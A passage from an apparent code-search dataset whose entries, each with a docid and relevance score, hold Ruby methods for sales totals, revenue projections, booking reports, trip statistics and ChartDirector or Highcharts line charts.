as mes, avg(price) as ventas from coffee_sales\n WHERE \n date BETWEEN '2020-04-01' and '#{Time.now}'\n GROUP BY \n mes\n ORDER BY \n mes\n \")\n\n \n # Origin\n @origin_last_month = CoffeeSale.last_month\n @origin_last_three_months = CoffeeSale.last_three_months\n @origin_last_six_months = CoffeeSale.last_six_months\n @origin_last_twelve_months = CoffeeSale.last_twelve_months\n\n # Blend\n @blend_last_month = CoffeeSale.last_month\n @blend_last_three_months = CoffeeSale.last_three_months\n @blend_last_six_months = CoffeeSale.last_six_months\n @blend_last_twelve_months = CoffeeSale.last_twelve_months\n\n end", "title": "" }, { "docid": "48c021c3cf1d08d5c89f16d736c1b759", "score": "0.55937266", "text": "def doctorwise_sales\n\tend", "title": "" }, { "docid": "cd43a4688f8a70f408906e7762ea6fea", "score": "0.55811375", "text": "def generate_plot( title, data_points, filter, *names )\n\n # debug_me{[ :title, :names ]}\n\n line_fit = LineFit.new\n line_fit2 = LineFit.new\n\n x_labels = Hash.new\n x_values \t= Array.new\n y_values = Hash.new\n\n names.each do |series_name|\n y_values[series_name] = Array.new\n end\n\n e_no = 0\n\n data_points.each do |entry|\n\n # debug_me{[ :entry ]} if entry.last.rate.nil? || entry.last.rate < 50\n\n a_date = entry.first\n x_value = ((a_date.year - 2000)*100.0 + a_date.yday.to_f + a_date.hour.to_f / 24.0).round(2)\n y_value = entry.last.send(names.first)\n\n if filter.call(a_date)\n x_labels[e_no] = x_value # a_date.strftime('%a')[0,1].downcase\n x_values << e_no # x_value\n e_no += 1\n\n names.each do |series_name|\n y_values[series_name] << entry.last.send(series_name)\n end\n end # if filter.call(a_date)\n end\n\n line_fit.setData( x_values, y_values[names[0]] )\n line_fit2.setData( x_values, y_values[names[1]] )\n\n y_values[:trend] = Array.new\n y_values[:trend2] = Array.new\n\n\n x_values.each do |x|\n y_values[:trend] << line_fit.forecast(x)\n y_values[:trend2] << line_fit2.forecast(x)\n end\n\n # TODO: replace data stuff with a data_frame from \"daru\"\n d8_index = Daru::DateTimeIndex.date_range(\n start: '2018-4-1',\n end: '2018-5-31',\n freq: 'D'\n )\n\n values = y_values\n values[:x] = x_values\n\n cat_index = Daru::CategoricalIndex.new(x_values)\n data_frame = Daru::DataFrame.new(values, index: cat_index)\n\n\n\n puts data_frame.data\n\n graph = plot(\n data_frame,\n x: :x,\n y: names+[:trend, :trend2],\n layout: {\n title: title,\n xaxis: { title: 'Pbservations in DateTime Order' },\n yaxis: { title: 'Measurement' }\n },\n )\n\n graph.generate_html\nend", "title": "" }, { "docid": "1e5e9124d5fba1c4ccbeb25670ff0f15", "score": "0.5578432", "text": "def calculate\n @calc = Hash.new\n @orders = Order.where(\"date >= ? and date <= ?\", params[:start_date], params[:end_date])\n @products = Array.new\n @orders.each do |o|\n @products = o.products\n @products.each do |product|\n unless @calc.has_key?(product.name)\n @calc[product.name] = 0\n end\n @calc[product.name] = @calc[product.name] + 1\n end\n end\n \n @numOfDays = (Date.parse(params[:end_date]) - Date.parse(params[:start_date]) + 1).to_i\n @query = Hash.new\n\n if params[:period] == \"day\"\n @calc.each do |k, v|\n @query[k] = (v.to_f / @numOfDays).round(1)\n end\n end\n \n if params[:period] == \"week\"\n @calc.each_value do |k, v|\n @query[k] = ((v * 7).to_f / @numOfDays).round(1)\n end\n end\n \n if params[:period] == \"week\"\n @calc.each_value do |k, v|\n @query[k] = ((v * 30).to_f / @numOfDays).round(1)\n end\n end\n \n respond_with @query\n end", "title": "" }, { "docid": "de12108770c8d4abfe21d3183a07c3cd", "score": "0.5570025", "text": "def enter_sales\n @week_b = Date.today.at_beginning_of_week - 8.day\n @week_e = Date.today.at_end_of_week\n # @enter_sales = Sale.where(:sequoia => nil OR :empire => nil OR :pacific => nil).where('day < ?', Date.today).all\n # @enter_sales = Sale.where('sequoia = ?' OR 'empire = ?' OR 'pacific = ?', nil,nil,nil).where('day < ?', Date.today).all\n @enter_sales = Sale.where(:sequoia => nil).or(Sale.where(:empire => nil)).or(Sale.where(:pacific => nil)).where('day < ?', Date.today).all\n @sales = Sale.where('day > ?', @week_b - 8.days).where('day < ?', @week_e + 1.day).order('day DESC').all\n @sales_seq = Sale.where('day > ?', @week_b).where('day < ?', @week_e + 1.day).order('day ASC').pluck(:sequoia)\n @sales_emp = Sale.where('day > ?', @week_b).where('day < ?', @week_e + 1.day).order('day ASC').pluck(:empire)\n\n\n # @sales = Sale.where.not(:sequoia => nil).or(Sale.where.not(:empire => nil)).or(Sale.where.not(:pacific => nil)).where('day > ?', Date.today - 7.days).all\nend", "title": "" }, { "docid": "d59a233960b31577bf38e27288fd6abf", "score": "0.5559912", "text": "def timeseries_data\n histogram_bucket_count = @density - 1\n histogram_bucket_size = @y_max.to_f / histogram_bucket_count\n num_values = (params[:buckets] || @density * 4).to_i\n start_date = @data.start_timestamp\n end_date = @data.end_timestamp\n bucket_width = (end_date - start_date) / num_values\n buckets = []\n num_values.times do |i| \n buckets[i] = Timeslice.new(start_date + i * bucket_width, \n bucket_width,\n :primary_dim => @primary_dim,\n :histogram_bucket_size => histogram_bucket_size,\n :histogram_bucket_count => histogram_bucket_count,\n :measure => @measure,\n :log_transform => @log_transform,\n :apdex_t => @apdex_t)\n end\n\n summary = Timeslice.new(start_date, \n end_date - start_date,\n :primary_dim => @primary_dim,\n :histogram_bucket_size => histogram_bucket_size,\n :histogram_bucket_count => histogram_bucket_count,\n :log_transform => @log_transform,\n :measure => @measure,\n :apdex_t => @apdex_t)\n\n @data.each do | event |\n index = [(event.timestamp - start_date) / bucket_width, num_values - 1].min.floor\n buckets[index] << event\n summary << event\n end\n # Next put the series summary on the front\n buckets.unshift summary\n buckets.map! { |b| b.record }\n # Put the list of dimensions at the front\n buckets.unshift @dimensions\n buckets\n end", "title": "" }, { "docid": "835fb26aae930de0cedaaad91d6716bf", "score": "0.55484825", "text": "def test_balance_by_day_for_scatter_graph\n # Get transactions first to ensure we've got the right data, expiring any cached data\n transactions = TransactionService.all_transactions(true)\n\n balances = ChartJSService.balance_by_day_for_scatter_graph\n assert_kind_of Array, balances\n assert_kind_of Hash, balances.first\n\n date = transactions.first.created.strftime('%Y-%m-%d') # eg 2017-02-23\n balance = transactions.first.account_balance.cents / 100 # want this in pounds not pence\n first_balance = { x: date, y: balance }\n assert_equal first_balance, balances.first, 'Data should be of the form { x: 2017-02-23, y: 30 }'\n end", "title": "" }, { "docid": "4bea984e92e1a9682067d2ce7bf611cb", "score": "0.55457777", "text": "def get_select_trend_by_day start_date,end_date, myaccounts\n Rails.logger.debug \" AAA get_select_trend_by_day #{start_date},#{end_date}\"\n # Rails.logger.debug \"\"\n if FbPageClass == Fbpage\n min = start_date.beginning_of_day - 1.day\n else\n min = start_date.beginning_of_day\n end\n max = end_date.end_of_day\n account_ids = myaccounts.map{|a| a.id}\n sql = \"DATE_FORMAT(post_created_time,'%Y-%m-%d') AS trend_date, \"\n sql += \" 'dai' AS trend_type,\" \n sql += select_summary_sql myaccounts\n records = FbPageClass.select(sql).\n where(post_created_time: (min..max)).\n where([\"account_id in (?)\",account_ids]).\n group(\"trend_date\").to_a\n records = fill_missing_rows records, min,max\n process_records records, min, max\n end", "title": "" }, { "docid": "c874ccf4e07b68f918321fd222a2c259", "score": "0.55408734", "text": "def total_sales_brand(total_sales,toy)\n toy[\"purchases\"].each do |p|\n total_sales = total_sales + p[\"price\"]\n end\n return total_sales\nend", "title": "" }, { "docid": "ba22b3bc7dba39cbcf7d121d7e904f90", "score": "0.5532808", "text": "def get_sales(force_get_all)\n\t# Find the last time we got products\n\tlast_checked_date = get_last_checked_date_for_sales()\n\t# If we've never checked or we want to get them all\n\tif force_get_all\n\t\t\tlast_checked_date = Time.new(1970,1,1).iso8601\n\tend\n\tputs \"Getting all sales since #{last_checked_date}\"\n\n\t# Get number of sales pages\n\tnumber_of_pages = get_number_of_pages_from_a_request(\"https://101howick.vendhq.com/api/register_sales\", {since: last_checked_date})\n\tif number_of_pages.nil?\n\t\tnumber_of_pages = 1\n\tend\n\n\t$log.info(\"Found #{number_of_pages} pages of sales since #{last_checked_date}\")\n\tputs \"Found #{number_of_pages} pages of sales since #{last_checked_date}\"\n\n\t# Request all the pages of sales 100 at a time\n\thydra = Typhoeus::Hydra.new(max_concurrency: 100)\n\trequests = []\n\tnumber_of_pages.downto(1) do |page|\n\t\trequests.push(\n\t\t\tTyphoeus::Request.new(\n\t\t\t\t'https://101howick.vendhq.com/api/register_sales',\n\t\t\t\tmethod: :get,\n\t\t\t\tparams: {page: page, since: last_checked_date},\n\t\t\t\theaders: {Authorization: \"Bearer #{$access_token}\"}\n\t\t))\n\t$log.info(\"Requesting page #{page} of #{number_of_pages} for sales\")\n\tend\n\trequests.map{|request|\n\t\thydra.queue(request)\n\t\trequest}\n\n\thydra.run\n\n\tresponses = requests.map do |request|\n\t\tif request.response.success?\n\t\t\tJSON.parse(request.response.body)\n\t\telsif request.response.timed_out?\n\t\t\t$log.error(\"Got a time out when getting sales, missing page.\")\n\t\telsif request.response.code == 0\n \t\t\t$log.error(\"Got a bad response when getting sales, missing page. Error - #{request.response.return_message}\")\n\t\telse\n\t\t\t$log.error(\"HTTP request failed when getting sales, missing page. Error - #{request.response.code}\")\n\t\tend\n\tend\n\treturn responses\nend", "title": "" }, { "docid": "8c07364d9a209c2fd37afc62d125c59c", "score": "0.55242974", "text": "def credits_sold_by_kiosk_table(table=true) #Table and Chart\n #Query for Bar Chart and Table\n kiosk_totals = Transaction.select(\"location_id, sum(amount) as total\").where(\"transaction_code in (20,21)\").group(\"location_id\").order(\"sum(amount)\")\n #Prepare data for Normalchart\n data = kiosk_totals.map do |obj|\n {label: obj.location_id.to_s, value: obj.total}\n end\n if table\n data\n else\n data_to_display = {yAxisTitle: \"Credits Sold (per Kiosk)\", xAxisLabel:\"location id\", chartData: [{values: data}], chartType: \"bar\"};\n return data_to_display\n end\n end", "title": "" }, { "docid": "f87983df830ccfc32a8c6864b44c922f", "score": "0.55156165", "text": "def test_daily_cost_on_three_day_different_month_without_monthly_cost\n result = daily_cost(@end_date, @end_date_2, [@daily_time_period, @weekly_time_period])\n assert result.size == 3\n assert result[0][:cost] == 20\n assert result[1][:cost] == 20\n assert result[2][:cost] == 20\n assert result[0][:date] == @end_date.to_s\n assert result[1][:date] == Date.new(2019, 11, 1).to_s\n assert result[2][:date] == @end_date_2.to_s\n end", "title": "" }, { "docid": "7ac01957e9ba472be6cf14ca867f19fa", "score": "0.55133015", "text": "def get_cumulative_revenue_by_month_of_year_series\n revenue_by_month_of_year_series = []\n today = get_last_sale_date\n\n # Previous Years\n years = get_years\n years.delete(today.year)\n years.each do |year|\n revenue_by_month_of_year = []\n get_months_by_year(year).each do |month|\n revenue_by_month_of_year.push(get_cumulative_revenue_month_of_year(month))\n end\n revenue_by_month_of_year_series.push({\n 'name' => year, \n 'data' => revenue_by_month_of_year,\n 'lineWidth' => 1,\n 'marker' => {\n 'enabled' => false\n }\n })\n end\n \n # Current Year\n current_year_revenue_by_month = []\n get_months_by_year(today.year).each do |month|\n current_year_revenue_by_month.push(get_cumulative_revenue_month_of_year(month))\n end\n revenue_by_month_of_year_series.push({\n 'name' => today.year, \n 'data' => current_year_revenue_by_month,\n 'type' => 'column',\n 'borderWidth' => 0,\n 'color' => '#F0A4C0',\n 'marker' => {\n 'enabled' => false\n }\n })\n\n # Project Current Year\n projected_revenue_by_month = []\n projected_revenue = 0.0\n this_year_first_day = \n this_year_months = get_months(Date.new(today.year, 1, 1), Date.new(today.year, 12, 31))\n this_year_months.each do |month|\n projected_revenue = projected_revenue + get_average_monthly_revenue_by_month(nil, today)\n projected_revenue_by_month.push(projected_revenue)\n end\n revenue_by_month_of_year_series.push({\n 'name' => today.strftime(\"%Y Projected\"), \n 'data' => projected_revenue_by_month,\n 'type' => 'line',\n 'dashStyle' => 'ShortDash',\n 'lineWidth' => 2,\n 'color' => '#BA0E4D',\n 'marker' => {\n 'enabled' => false\n }\n })\n\n # Project Current Year Ideal Trajectory\n ideal_revenue_by_month = []\n ideal_revenue = 0.0\n this_year_months.each do |month|\n ideal_revenue = ideal_revenue + get_revenue_goal_by_month(today)\n ideal_revenue_by_month.push(ideal_revenue)\n end\n revenue_by_month_of_year_series.push({\n 'name' => today.strftime(\"%Y Goal\"), \n 'data' => ideal_revenue_by_month,\n 'type' => 'line',\n 'lineWidth' => 2,\n 'color' => '#BA0E4D',\n 'marker' => {\n 'enabled' => false\n }\n })\n\n return revenue_by_month_of_year_series.to_json\n end", "title": "" }, { "docid": "27cf9ed0c156ee9595ad25c9163c007d", "score": "0.55068356", "text": "def booking_reports\n if params[:viewValue].nil? or params[:focusDate].nil?\n render :json => { :error => \"Invalid params\"}\n return \n end\n \n \n view_value = params[:viewValue].to_i \n date = parse_datetime_from_client_booking( params[:focusDate])\n date = DateTime.new( date.year , \n date.month, \n date.day, \n 0, \n 0, \n 0,\n Rational( UTC_OFFSET , 24) )\n \n \n \n # SOP; 1 SQL query.. use ruby code to distribute the data..\n # for 1 year query, it is gonna be a big sQL query. hahaha. banzai \n # display logic can be done in the client. but, fuck it . \n \n records = [] \n if view_value == VIEW_VALUE[:week]\n starting_date = date - date.wday.days \n ending_date = starting_date + 7.days \n bookings = Booking.active_objects.where{\n (start_datetime.gte starting_date) & \n (start_datetime.lt ending_date )\n }\n \n \n \n \n (1..7).each do |diff|\n \n projected_start_datetime = starting_date + (diff-1).days \n projected_end_datetime = starting_date + diff.days \n \n name = projected_start_datetime + UTC_OFFSET.hours\n record = {}\n record[:name] = \"#{name.year}/#{name.month}/#{name.day}\"\n \n record[:data1] = bookings.where{\n (start_datetime.gte projected_start_datetime) & \n (start_datetime.lt projected_end_datetime )\n }.sum('number_of_hours')\n \n records << record \n end\n \n \n \n \n elsif view_value == VIEW_VALUE[:month]\n starting_date = date - date.mday.days \n \n days_in_month = Time.days_in_month(date.month, date.year)\n ending_date = starting_date + days_in_month.days\n \n bookings = Booking.active_objects.where{\n (start_datetime.gte starting_date) & \n (start_datetime.lt ending_date )\n }\n \n \n \n (1..days_in_month).each do |diff|\n \n projected_start_datetime = starting_date + (diff-1).days \n projected_end_datetime = starting_date + diff.days \n \n name = projected_start_datetime + UTC_OFFSET.hours\n record = {}\n record[:name] = \"#{name.year}/#{name.month}/#{name.day}\"\n \n record[:data1] = bookings.where{\n (start_datetime.gte projected_start_datetime) & \n (start_datetime.lt projected_end_datetime )\n }.sum('number_of_hours')\n \n records << record \n end\n \n end\n render :json => { :records => records , :total => records.count, :success => true }\n end", "title": "" }, { "docid": "6f60e99799b6c8786bdd4814cde0840c", "score": "0.550312", "text": "def sale\n @service_response = RestApi::Sale.new(params).perform\n format_service_response\n end", "title": "" }, { "docid": "f54fdc0968a19ad1261ccefac0ea4611", "score": "0.54953605", "text": "def calculated_dates\n [period1_from_date,period1_end_date,\n period2_from_date, period2_end_date] \n end", "title": "" }, { "docid": "91b784f4aa8074bbacb5904cbd7ed53e", "score": "0.5494815", "text": "def sales\n \t@sales = 0\n \tsql = \"SELECT SUM(price)\n\t\t\t\tas sales FROM PURCHASE where\n\t\t\t\tTIMESTAMPDIFF(MONTH,curdate(),date_of_purchase) < 1;\"\n\t\tresult = ActiveRecord::Base.connection.execute(sql)\n\t\t@sales = result.first.first if result.first.first.present?\n end", "title": "" }, { "docid": "3e1d9e8a25a4f9a164368002596d28c2", "score": "0.54946584", "text": "def weeklyGraphs(array_weekly,type)\n\n if type == \"distance\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Weekly Distance Traveled\")\n f.xAxis(:categories => [\"Sunday\", \"Monday\", \"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"lookingAtPhone\",\"distanceTraveled\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"walking\",\"distanceTraveled\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"cycling\",\"distanceTraveled\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"standing\",\"distanceTraveled\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"running\",\"distanceTraveled\"))\n\n f.yAxis [\n {:title => {:text => \"Meters Traveled\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n elsif type == \"energy\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Weekly Energy Expanded\")\n f.xAxis(:categories => [\"Sunday\", \"Monday\", \"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"lookingAtPhone\",\"energy\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"walking\",\"energy\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"cycling\",\"energy\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"standing\",\"energy\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"running\",\"energy\"))\n f.series(:name => \"Sitting\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"sitting\",\"energy\"))\n f.series(:name => \"Tilting\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"tilting\",\"energy\"))\n f.series(:name => \"Not using phone\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"notUsingPhone\",\"energy\"))\n f.series(:name => \"Laying\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"laying\",\"energy\"))\n\n f.yAxis [\n {:title => {:text => \"Kcal burned\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n elsif type == \"steps\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Weekly Steps\")\n f.xAxis(:categories => [\"Sunday\", \"Monday\", \"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"lookingAtPhone\",\"steps\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"walking\",\"steps\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"cycling\",\"steps\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"standing\",\"steps\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__weekly_array_values(array_weekly,\"running\",\"steps\"))\n\n f.yAxis [\n {:title => {:text => \"Number of steps\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n end\n end", "title": "" }, { "docid": "12c56d3af5c4dac47624c04c337d4404", "score": "0.5493786", "text": "def data_for_days(days,agent,settings)\n (days.map do |d| \n data_for_day(d,agent,settings)\n end).flatten\nend", "title": "" }, { "docid": "a0af8c57f0cbfb167560c98a3af46bff", "score": "0.54858154", "text": "def sales\n FarMar::Sale.product_sales(@id)\n end", "title": "" }, { "docid": "39d3fde85ee852f81c4d852a91aeb011", "score": "0.5483146", "text": "def getchart()\n # The data for the line chart\n data0 = [42, 49, 33, 38, 64, 56, 29, 41, 44, 57, 59, 42]\n data1 = [65, 75, 47, 34, 42, 49, 73, 62, 90, 69, 66, 78]\n data2 = [36, 28, 25, 28, 38, 20, 22, 30, 25, 33, 30, 24]\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\",\n \"Nov\", \"Dec\"]\n\n # Create a XYChart object of size 600 x 400 pixels\n c = ChartDirector::XYChart.new(600, 400)\n\n # Add a title to the chart using 18 pts Times Bold Italic font\n title = c.addTitle(\"Product Line Global Revenue\", \"timesbi.ttf\", 18)\n\n # Tentatively set the plotarea at (50, 55) and of (chart_width - 100) x\n # (chart_height - 120) pixels in size. Use a vertical gradient color from sky blue\n # (aaccff) t0 light blue (f9f9ff) as background. Set both horizontal and vertical\n # grid lines to dotted semi-transprent black (aa000000).\n plotArea = c.setPlotArea(50, 55, c.getWidth() - 100, c.getHeight() - 120,\n c.linearGradientColor(0, 55, 0, 55 + c.getHeight() - 120, 0xaaccff, 0xf9fcff),\n -1, -1, c.dashLineColor(0xaa000000, ChartDirector::DotLine), -1)\n\n # Add a legend box and anchored the top center at the horizontal center of the\n # chart, just under the title. Use 10pts Arial Bold as font, with transparent\n # background and border.\n legendBox = c.addLegend(c.getWidth() / 2, title.getHeight(), false, \"arialbd.ttf\",\n 10)\n legendBox.setAlignment(ChartDirector::TopCenter)\n legendBox.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Set y-axis title using 10 points Arial Bold Italic font, label style to 8 points\n # Arial Bold, and axis color to transparent\n c.yAxis().setTitle(\"Revenue (USD millions)\", \"arialbi.ttf\", 10)\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis().setColors(ChartDirector::Transparent)\n\n # Set y-axis tick density to 30 pixels. ChartDirector auto-scaling will use this\n # as the guideline when putting ticks on the y-axis.\n c.yAxis().setTickDensity(30)\n\n # Add a line layer to the chart\n layer = c.addLineLayer2()\n\n # Set the line width to 3 pixels\n layer.setLineWidth(3)\n\n # Add the three data sets to the line layer, using circles, diamands and X shapes\n # as symbols\n layer.addDataSet(data0, 0xff0000, \"Quantum Computer\").setDataSymbol(\n ChartDirector::CircleSymbol, 9)\n layer.addDataSet(data1, 0x00ff00, \"Atom Synthesizer\").setDataSymbol(\n ChartDirector::DiamondSymbol, 11)\n layer.addDataSet(data2, 0xff6600, \"Proton Cannon\").setDataSymbol(\n ChartDirector::Cross2Shape(), 11)\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Convert the labels on the x-axis to a CDMLTable\n table = c.xAxis().makeLabelTable()\n\n # Set the default top/bottom margins of the cells to 3 pixels\n table.getStyle().setMargin2(0, 0, 3, 3)\n\n # Use Arial Bold as the font for the first row\n table.getRowStyle(0).setFontStyle(\"arialbd.ttf\")\n\n #\n # We can add more information to the table. In this sample code, we add the data\n # series and the legend icons to the table.\n #\n\n # Add 3 more rows to the table. Set the background of the 1st and 3rd rows to\n # light grey (eeeeee).\n table.appendRow().setBackground(0xeeeeee, ChartDirector::LineColor)\n table.appendRow()\n table.appendRow().setBackground(0xeeeeee, ChartDirector::LineColor)\n\n # Put the values of the 3 data series to the cells in the 3 rows\n 0.upto(data0.length - 1) do |i|\n table.setText(i, 1, (data0[i]).to_s)\n table.setText(i, 2, (data1[i]).to_s)\n table.setText(i, 3, (data2[i]).to_s)\n end\n\n # Insert a column on the left for the legend icons. Use 5 pixels left/right\n # margins and 3 pixels top/bottom margins for the cells in this column.\n table.insertCol(0).setMargin2(5, 5, 3, 3)\n\n # The top cell is set to transparent, so it is invisible\n table.getCell(0, 0).setBackground(ChartDirector::Transparent,\n ChartDirector::Transparent)\n\n # The other 3 cells are set to the legend icons of the 3 data series\n table.setText(0, 1, layer.getLegendIcon(0))\n table.setText(0, 2, layer.getLegendIcon(1))\n table.setText(0, 3, layer.getLegendIcon(2))\n\n # Layout legend box first, so we can get its size\n c.layoutLegend()\n\n # Adjust the plot area size, such that the bounding box (inclusive of axes) is 2\n # pixels from the left, right and bottom edge, and is just under the legend box.\n c.packPlotArea(2, legendBox.getTopY() + legendBox.getHeight(), c.getWidth() - 3,\n c.getHeight() - 3)\n\n # After determining the exact plot area position, we may adjust the legend box and\n # the title positions so that they are centered relative to the plot area (instead\n # of the chart)\n legendBox.setPos(plotArea.getLeftX() + (plotArea.getWidth() - legendBox.getWidth()\n ) / 2, legendBox.getTopY())\n title.setPos(plotArea.getLeftX() + (plotArea.getWidth() - title.getWidth()) / 2,\n title.getTopY())\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "d7539bd9235d3a04bed4ec9559dd765d", "score": "0.54768467", "text": "def chart; end", "title": "" }, { "docid": "d7539bd9235d3a04bed4ec9559dd765d", "score": "0.54768467", "text": "def chart; end", "title": "" }, { "docid": "492b18f6b8b34e4205c11531ea9005a5", "score": "0.54742545", "text": "def chart_data(params)\n time_fraction = params[:fraction] * 60\n seconds = 0\n points = Point.where(:trip_id => self.trip_id).order('timestamp asc')\n labels = []\n data = []\n series = []\n\n return nil if points.length == 0\n \n fuel = []\n fuel_temp = []\n speed = []\n speed_temp = []\n rpm = []\n rpm_temp = []\n\n start_timestamp = points.first.timestamp.to_i\n\n points.each do |p|\n diff = p.timestamp.to_i - start_timestamp\n\n if diff >= time_fraction\n labels.push(Time.at(seconds).utc.strftime(\"%H:%M\"))\n start_timestamp = p.timestamp.to_i\n\n (fuel_temp.length == 0) ? fuel.push(0) : fuel.push(sprintf(\"%.2f\", (fuel_temp.reduce(:+)) / fuel_temp.length))\n (speed_temp.length == 0) ? speed.push(0) : speed.push(sprintf(\"%.2f\", (speed_temp.reduce(:+)) / speed_temp.length))\n (rpm_temp.length == 0) ? rpm.push(0) : rpm.push(sprintf(\"%.2f\", (rpm_temp.reduce(:+)) / rpm_temp.length))\n \n fuel_temp = []\n speed_temp = []\n rpm_temp = []\n\n seconds = seconds + time_fraction\n end\n\n if p.fuel_economy >= 0\n fuel_temp.push(p.fuel_economy * TripStat::KML_TO_MPG)\n end\n if p.vehicle_speed >= 0\n speed_temp.push(p.vehicle_speed * TripStat::KM_TO_MPH)\n end\n if p.rpm >= 0\n rpm_temp.push(p.rpm)\n end\n end\n\n if params[:fuel] == true\n data.push(fuel)\n series.push('Fuel [mpg]')\n end\n\n if params[:speed] == true\n data.push(speed)\n series.push('Speed [mph]')\n end\n\n if params[:rpm] == true\n data.push(rpm)\n series.push('RPM [rpm]')\n end\n\n return {\n :labels => labels,\n :data => data,\n :series => series\n }\n end", "title": "" }, { "docid": "cf8cfb445b3797739833fd2ed0924760", "score": "0.54734653", "text": "def sales\n FarMar::Sale.vendor_sales(@vendor_id)\n end", "title": "" }, { "docid": "d60dad9a6d449e1d7189d44e575ac302", "score": "0.5460626", "text": "def getchart()\n # The data for the line chart\n data0 = [42, 49, 33, 38, 64, 56, 29, 41, 44, 57, 59, 42]\n data1 = [65, 75, 47, 34, 42, 49, 73, 62, 90, 69, 66, 78]\n data2 = [36, 28, 25, 28, 38, 20, 22, 30, 25, 33, 30, 24]\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\",\n \"Nov\", \"Dec\"]\n\n # Create a XYChart object of size 600 x 375 pixels\n c = ChartDirector::XYChart.new(600, 375)\n\n # Add a title to the chart using 18 pts Times Bold Italic font\n c.addTitle(\"Product Line Global Revenue\", \"timesbi.ttf\", 18)\n\n # Set the plotarea at (50, 55) and of 500 x 280 pixels in size. Use a vertical\n # gradient color from light blue (f9f9ff) to sky blue (aaccff) as background. Set\n # border to transparent and grid lines to white (ffffff).\n c.setPlotArea(50, 55, 500, 280, c.linearGradientColor(0, 55, 0, 335, 0xf9fcff,\n 0xaaccff), -1, ChartDirector::Transparent, 0xffffff)\n\n # Add a legend box at (50, 28) using horizontal layout. Use 10pts Arial Bold as\n # font, with transparent background.\n c.addLegend(50, 28, false, \"arialbd.ttf\", 10).setBackground(\n ChartDirector::Transparent)\n\n # Set the x axis labels\n c.xAxis().setLabels(labels)\n\n # Set y-axis tick density to 30 pixels. ChartDirector auto-scaling will use this\n # as the guideline when putting ticks on the y-axis.\n c.yAxis().setTickDensity(30)\n\n # Set axis label style to 8pts Arial Bold\n c.xAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n\n # Set axis line width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # Add axis title using 10pts Arial Bold Italic font\n c.yAxis().setTitle(\"Revenue in USD millions\", \"arialbi.ttf\", 10)\n\n # Add a line layer to the chart\n layer = c.addLineLayer2()\n\n # Set the line width to 3 pixels\n layer.setLineWidth(3)\n\n # Add the three data sets to the line layer, using circles, diamands and X shapes\n # as symbols\n layer.addDataSet(data0, 0xff0000, \"Quantum Computer\").setDataSymbol(\n ChartDirector::CircleSymbol, 9)\n layer.addDataSet(data1, 0x00ff00, \"Atom Synthesizer\").setDataSymbol(\n ChartDirector::DiamondSymbol, 11)\n layer.addDataSet(data2, 0xff6600, \"Proton Cannon\").setDataSymbol(\n ChartDirector::Cross2Shape(), 11)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "b56d2ac0975f33f6fb8887fb35b6bed7", "score": "0.54581517", "text": "def get_weekly_totals\n database = Database.new 'RI-2016', 'postgres'\n Dictionary.offense_codes.each do |code, offense|\n # Obtain state data for this offense\n puts \"Querying state-wide dataset for #{offense}\"\n state_query = Queries::Incidents.state_with_code code\n state_data = database.execute state_query\n state_weekly_data = Research::When.by_week state_data\n # Create a weekly dataset\n puts \"Populating a state-wide weekly dataset\"\n state_weekly_array = []\n 